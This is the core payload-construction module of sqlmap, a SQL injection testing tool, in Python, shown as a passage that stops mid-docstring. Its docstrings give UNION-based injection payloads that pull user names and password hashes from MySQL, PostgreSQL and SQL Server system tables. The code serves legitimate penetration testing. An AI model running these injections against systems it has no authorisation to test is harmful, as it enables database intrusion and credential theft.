#!/usr/bin/env python """ Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import PAYLOAD_DELIMITER from lib.core.unescaper import unescaper class Agent(object): """ This class defines the SQL agent methods. """ def payloadDirect(self, query): if query.startswith("AND "): query = query.replace("AND ", "SELECT ", 1) elif query.startswith(" UNION ALL "): query = query.replace(" UNION ALL ", "", 1) elif query.startswith("; "): query = query.replace("; ", "", 1) if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query) for field in fieldsToCastStr.split(","): query = query.replace(field, self.nullAndCastField(field)) if kb.tamperFunctions: for function in kb.tamperFunctions: query = function(payload=query) return query def payload(self, place=None, parameter=None, value=None, newValue=None, where=None): """ This method replaces the affected parameter with the SQL injection statement to request """ if conf.direct: return self.payloadDirect(newValue) retVal = "" if where is None and isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if kb.injection.place is not None: place = kb.injection.place if kb.injection.parameter is not None: parameter = kb.injection.parameter paramString = conf.parameters[place] paramDict = conf.paramDict[place] origValue = paramDict[parameter] if place == PLACE.URI: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = origValue[origValue.rfind('/') + 1:] for char in ('?', '=', ':'): if char in origValue: origValue = origValue[origValue.rfind(char) + 1:] elif place == PLACE.CUSTOM_POST: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = extractRegexResult(r"(?s)(?P(\W+\Z|\w+\Z))", origValue) if value is None: if where == PAYLOAD.WHERE.ORIGINAL: value = origValue elif where == PAYLOAD.WHERE.NEGATIVE: if conf.invalidLogical: match = re.search(r'\A[^ ]+', newValue) newValue = newValue[len(match.group() if match else ""):] value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", randomInt(2), randomInt(2)) elif conf.invalidBignum: value = "%d.%d" % (randomInt(6), randomInt(1)) else: if newValue.startswith("-"): value = "" else: value = "-%s" % randomInt() elif where == PAYLOAD.WHERE.REPLACE: value = "" else: value = origValue newValue = "%s%s" % (value, newValue) newValue = self.cleanupPayload(newValue, origValue) if place in (PLACE.URI, PLACE.CUSTOM_POST): _ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: newValue = '"%s"' % newValue newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(ASTERISK_MARKER, CUSTOM_INJECTION_MARK_CHAR) elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: retVal = paramString.replace("%s=%s" % (parameter, origValue), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue))) return retVal def fullPayload(self, query): if conf.direct: return self.payloadDirect(query) query = self.prefixQuery(query) query = self.suffixQuery(query) payload = self.payload(newValue=query) return payload def prefixQuery(self, expression, prefix=None, where=None, clause=None): """ This method defines how the input expression has to be escaped to perform the injection depending on the injection type identified as valid """ if conf.direct: return self.payloadDirect(expression) expression = self.cleanupPayload(expression) expression = unescaper.unescape(expression) query = None if where is None and kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where # If we are replacing () the parameter original value with # our payload do not prepend with the prefix if where == PAYLOAD.WHERE.REPLACE: query = "" # If the technique is stacked queries () do not put a space # after the prefix or it is in GROUP BY / ORDER BY () elif kb.technique == PAYLOAD.TECHNIQUE.STACKED: query = kb.injection.prefix elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ] or kb.injection.clause == [ 3 ]: query = kb.injection.prefix elif clause == [2, 3] or clause == [ 2 ] or clause == [ 3 ]: query = prefix # In any other case prepend with the full prefix else: query = kb.injection.prefix or prefix or "" if not (expression and expression[0] == ";"): query += " " query = "%s%s" % (query, expression) return query def suffixQuery(self, expression, comment=None, suffix=None, where=None): """ This method appends the DBMS comment to the SQL injection request """ if conf.direct: return self.payloadDirect(expression) expression = self.cleanupPayload(expression) # Take default values if None suffix = kb.injection.suffix if kb.injection and suffix is None else suffix if kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where if where is None else where comment = kb.injection.data[kb.technique].comment if comment is None else comment if Backend.getIdentifiedDbms() == DBMS.ACCESS and comment == GENERIC_SQL_COMMENT: comment = "%00" if comment is not None: expression += comment # If we are replacing () the parameter original value with # our payload do not append the suffix if where == PAYLOAD.WHERE.REPLACE: pass elif suffix and not comment: expression += " %s" % suffix return re.sub(r"(?s);\W*;", ";", expression) def cleanupPayload(self, payload, origValue=None): if payload is None: return _ = ( ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ ("[HASH_REPLACE]", kb.chars.hash_) ) payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, str(randomInt())) for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) if origValue is not None: payload = payload.replace("[ORIGVALUE]", origValue if origValue.isdigit() else "'%s'" % origValue) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: inference = queries[Backend.getIdentifiedDbms()].inference if "dbms_version" in inference: if isDBMSVersionAtLeast(inference.dbms_version): inferenceQuery = inference.query else: inferenceQuery = inference.query2 else: inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) else: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException, errMsg return payload def adjustLateValues(self, payload): """ Returns payload with a replaced late tags (e.g. SLEEPTIME) """ if payload: payload = payload.replace("[SLEEPTIME]", str(conf.timeSec)) return payload def getComment(self, request): """ Returns comment form for the given request """ return request.comment if "comment" in request else "" def hexConvertField(self, field): """ Returns hex converted field string """ rootQuery = queries[Backend.getIdentifiedDbms()] hexField = field if 'hex' in rootQuery: hexField = rootQuery.hex.query % field else: warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return hexField def nullAndCastField(self, field): """ Take in input a field string and return its processed nulled and casted field string. Examples: MySQL input: VERSION() MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ') MySQL scope: VERSION() PostgreSQL input: VERSION() PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ') PostgreSQL scope: VERSION() Oracle input: banner Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ') Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1 Microsoft SQL Server input: @@VERSION Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ') Microsoft SQL Server scope: @@VERSION @param field: field string to be processed @type field: C{str} @return: field string nulled and casted @rtype: C{str} """ nulledCastedField = field if field: rootQuery = queries[Backend.getIdentifiedDbms()] if field.startswith("(CASE") or field.startswith("(IIF") or\ conf.noCast or Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3'): nulledCastedField = field else: nulledCastedField = rootQuery.cast.query % field if Backend.isDbms(DBMS.ACCESS): nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) else: nulledCastedField = rootQuery.isnull.query % nulledCastedField if conf.hexConvert: nulledCastedField = self.hexConvertField(nulledCastedField) return nulledCastedField def nullCastConcatFields(self, fields): """ Take in input a sequence of fields string and return its processed nulled, casted and concatenated fields string. Examples: MySQL input: user,password MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ') MySQL scope: SELECT user, password FROM mysql.user PostgreSQL input: usename,passwd PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ') PostgreSQL scope: SELECT usename, passwd FROM pg_shadow Oracle input: COLUMN_NAME,DATA_TYPE Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ') Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password) Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins @param fields: fields string to be processed @type fields: C{str} @return: fields string nulled, casted and concatened @rtype: C{str} """ if not Backend.getDbms(): return fields if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): nulledCastedConcatFields = fields else: fields = fields.replace(", ", ',') fieldsSplitted = fields.split(',') dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query nulledCastedFields = [] for field in fieldsSplitted: nulledCastedFields.append(self.nullAndCastField(field)) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields) return nulledCastedConcatFields def getFields(self, query): """ Take in input a query string and return its fields (columns) and more details. Example: Input: SELECT user, password FROM mysql.user Output: user,password @param query: query to be processed @type query: C{str} @return: query fields (columns) and more details @rtype: C{str} """ prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*" fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I) fieldsExists = re.search("EXISTS(.*)", query, re.I) fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) fieldsSubstr = re.search("\A(SUBSTR|MID\()", query, re.I) fieldsMinMaxstr = re.search("(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query if fieldsSubstr: fieldsToCastStr = query elif fieldsMinMaxstr: fieldsToCastStr = fieldsMinMaxstr.groups()[0] elif fieldsExists: fieldsToCastStr = fieldsSelect.groups()[0] elif fieldsSelectTop: fieldsToCastStr = fieldsSelectTop.groups()[0] elif fieldsSelectDistinct: fieldsToCastStr = fieldsSelectDistinct.groups()[0] elif fieldsSelectCase: fieldsToCastStr = fieldsSelectCase.groups()[0] elif fieldsSelectFrom: fieldsToCastStr = fieldsSelectFrom.groups()[0] elif fieldsSelect: fieldsToCastStr = fieldsSelect.groups()[0] else: fieldsToCastStr = fieldsNoSelect # Function if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = fieldsToCastStr.replace(", ", ',') fieldsToCastList = fieldsToCastList.split(',') return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists def simpleConcatQuery(self, query1, query2): concatenatedQuery = "" if Backend.isDbms(DBMS.MYSQL): concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2): concatenatedQuery = "%s||%s" % (query1, query2) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): concatenatedQuery = "%s+%s" % (query1, query2) return concatenatedQuery def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, casted and concatenated query string. Examples: MySQL input: SELECT user, password FROM mysql.user MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user PostgreSQL input: SELECT usename, passwd FROM pg_shadow PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins @param query: query string to be processed @type query: C{str} @return: query string nulled, casted and concatenated @rtype: C{str} """ if unpack: concatenatedQuery = "" query = query.replace(", ", ',') fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) else: return query if Backend.isDbms(DBMS.MYSQL): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.chars.stop, 1) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.chars.stop, 1) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.isDbms(DBMS.ACCESS): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1) concatenatedQuery += ")&'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "&'%s' FROM " % kb.chars.stop, 1) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) else: concatenatedQuery = query return concatenatedQuery def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. Examples: MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488 PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713 Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 @param query: it is a processed query string unescaped to be forged within an UNION ALL SELECT statement @type query: C{str} @param position: it is the NULL position where it is possible to inject the query @type position: C{int} @return: UNION ALL SELECT query string forged @rtype: C{str} """ fromTable = fromTable or FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "") if query.startswith("SELECT "): query = query[len("SELECT "):] limitOriginal = "" if where == PAYLOAD.WHERE.ORIGINAL: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ): limitOriginal = "%s " % (queries[Backend.getIdentifiedDbms()].limit.query % (0, kb.testMode)) unionQuery = self.prefixQuery("%sUNION ALL SELECT " % limitOriginal, prefix=prefix) if limited: unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I) if topNumRegex: topNum = topNumRegex.group(1) query = query[len("TOP %s " % topNum):] unionQuery += "TOP %s " % topNum intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) if intoRegExp: intoRegExp = intoRegExp.group(1) query = query[:query.index(intoRegExp)] if fromTable and unionQuery.endswith(fromTable): unionQuery = unionQuery[:-len(fromTable)] for element in xrange(0, count): if element > 0: unionQuery += ',' if element == position: if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "): conditionIndex = query.index(" FROM ") unionQuery += query[:conditionIndex] else: unionQuery += query else: unionQuery += char if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "): conditionIndex = query.index(" FROM ") unionQuery += query[conditionIndex:] if fromTable: if " FROM " not in unionQuery or "(CASE " in unionQuery or "(IIF" in unionQuery: unionQuery += fromTable if intoRegExp: unionQuery += intoRegExp if multipleUnions: unionQuery += " UNION ALL SELECT " for element in xrange(count): if element > 0: unionQuery += ',' if element == position: unionQuery += multipleUnions else: unionQuery += char if fromTable: unionQuery += fromTable unionQuery = self.suffixQuery(unionQuery, comment, suffix) return unionQuery def limitQuery(self, num, query, field=None, uniqueField=None): """ Take in input a query string and return its limited query string. Example: Input: SELECT user FROM mysql.users Output: SELECT user FROM mysql.users LIMIT , 1 @param num: limit number @type num: C{int} @param query: query to be processed @type query: C{str} @param field: field within the query @type field: C{list} @return: limited query string @rtype: C{str} """ limitedQuery = query limitStr = queries[Backend.getIdentifiedDbms()].limit.query fromIndex = limitedQuery.index(" FROM ") untilFrom = limitedQuery[:fromIndex] fromFrom = limitedQuery[fromIndex+1:] orderBy = False if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr elif Backend.isDbms(DBMS.FIREBIRD): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num+1, num+1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery: orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] if query.startswith("SELECT "): delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr) else: limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr) limitedQuery = limitedQuery % fromFrom limitedQuery += "=%d" % (num + 1) elif Backend.isDbms(DBMS.MSSQL): forgeNotIn = True if " ORDER BY " in limitedQuery: orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) for notDistinct in notDistincts: limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct) limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct) if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "): topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I) if topNums: topNums = topNums.groups() quantityTopNums = topNums[0] limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1) startTopNums = topNums[1] limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num) forgeNotIn = False else: topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") if forgeNotIn: limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) if " ORDER BY " not in fromFrom: # Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) else: limitedQuery = "%s WHERE ISNULL(%s,' ') " % (limitedQuery, uniqueField or field) limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1") else: if " WHERE " in limitedQuery: limitedQuery = "%s AND %s " % (limitedQuery, field) else: limitedQuery = "%s WHERE %s " % (limitedQuery, field) limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "%s %s)" % (field, fromFrom) if orderBy: limitedQuery += orderBy return limitedQuery def forgeQueryOutputLength(self, expression): lengthQuery = queries[Backend.getIdentifiedDbms()].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) if any((selectTopExpr, selectDistinctExpr, selectFromExpr, selectExpr)): if selectTopExpr: query = selectTopExpr.group(1) elif selectDistinctExpr: query = selectDistinctExpr.group(1) elif selectFromExpr: query = selectFromExpr.group(1) elif selectExpr: query = selectExpr.group(1) else: query = expression if ( select and re.search("\A(COUNT|LTRIM)\(", query, re.I) ) or len(query) <= 1: return query if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % query, expression) if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(query, lengthQuery % query, 1) else: lengthExpr = lengthQuery % expression return unescaper.unescape(lengthExpr) def forgeCaseStatement(self, expression): """ Take in input a query string and return its CASE statement query string. Example: Input: (SELECT super_priv FROM 